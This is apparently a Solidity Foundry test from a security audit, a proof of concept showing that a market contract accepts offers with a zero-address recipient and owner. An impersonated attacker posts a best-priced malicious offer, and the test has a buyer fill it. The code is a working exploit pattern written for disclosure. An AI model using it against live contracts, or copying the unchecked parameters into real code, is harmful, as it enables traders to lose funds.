function testOfferZeroAddress() public { // Offer's owner pays `pay_amt` to the market and will receive `buy_amt` when the offer is filled uint256 bestId = market._best(address(USDC_ADDRESS), address(WETH_ADDRESS)); require(bestId != 0, "Best id not found"); (uint256 pay_amt, ERC20 pay_gem, uint256 buy_amt, ERC20 buy_gem, address recipient, , address owner) = market.offers(bestId); assert(pay_gem == ERC20(USDC_ADDRESS) && buy_gem == ERC20(WETH_ADDRESS)); console.log("====================== CURRENT BEST OFFER ============="); console.log("id", bestId); console.log("bestId", bestId); console.log("pay_amt", pay_amt); console.log("buy_amt", buy_amt); console.log("recipient", recipient); console.log("owner", owner); // Insert a malicious offer with a better exchange rate uint256 maliciousId = _createMaliciousOfferUsdcWeth(pay_amt, buy_amt / 2); uint256 _pay_amt; uint256 _buy_amt; (_pay_amt, pay_gem, _buy_amt, buy_gem, recipient, , owner) = market.offers(maliciousId); assert(pay_gem == ERC20(USDC_ADDRESS) && buy_gem == ERC20(WETH_ADDRESS)); bestId = market._best(address(USDC_ADDRESS), address(WETH_ADDRESS)); require(maliciousId == bestId, "Malicious offer isn't the best"); console.log("====================== MALICIOUS BEST OFFER ============"); console.log("id", maliciousId); console.log("bestId", bestId); console.log("pay_amt", _pay_amt); console.log("buy_amt", _buy_amt); console.log("recipient", recipient); console.log("owner", owner); // Top up self account with WETH funds for test purpose writeTokenBalance(address(this), ERC20(WETH_ADDRESS), buy_amt); assert(ERC20(WETH_ADDRESS).balanceOf(address(this)) == buy_amt); // Allow the market to take WETH tokens. Try to buy USDC for WETH ERC20(WETH_ADDRESS).approve(address(market), buy_amt); uint256 filled = market.buyAllAmount( ERC20(USDC_ADDRESS), pay_amt, ERC20(WETH_ADDRESS), buy_amt ); require(filled != 0, "Wasn't filled"); console.log("====================== BUY ALL ORDER ==================="); console.log("filled", filled); (pay_amt, pay_gem, buy_amt, buy_gem, recipient, , owner) = market.offers(maliciousId); bestId = market._best(address(USDC_ADDRESS), address(WETH_ADDRESS)); console.log("====================== MALICIOUS OFFER ================="); console.log("id", maliciousId); console.log("bestId", bestId); console.log("pay_amt", pay_amt); console.log("buy_amt", buy_amt); console.log("recipient", recipient); console.log("owner", owner); } function _createMaliciousOfferUsdcWeth( uint256 payAmount, uint256 buyAmount ) private returns(uint256 id) { address attacker = vm.addr(1); // Top up self account with USDC funds for test purpose writeTokenBalance(attacker, ERC20(USDC_ADDRESS), payAmount); // Impersonate as an `attacker` user vm.startPrank(attacker); ERC20(USDC_ADDRESS).approve(address(market), payAmount); id = market.offer( payAmount, ERC20(USDC_ADDRESS), buyAmount, ERC20(WETH_ADDRESS), 0, false, address(0), // Zero-Unchecked malicious parameter address(0) // Zero-Unchecked malicious parameter ); vm.stopPrank(); }
0.4.18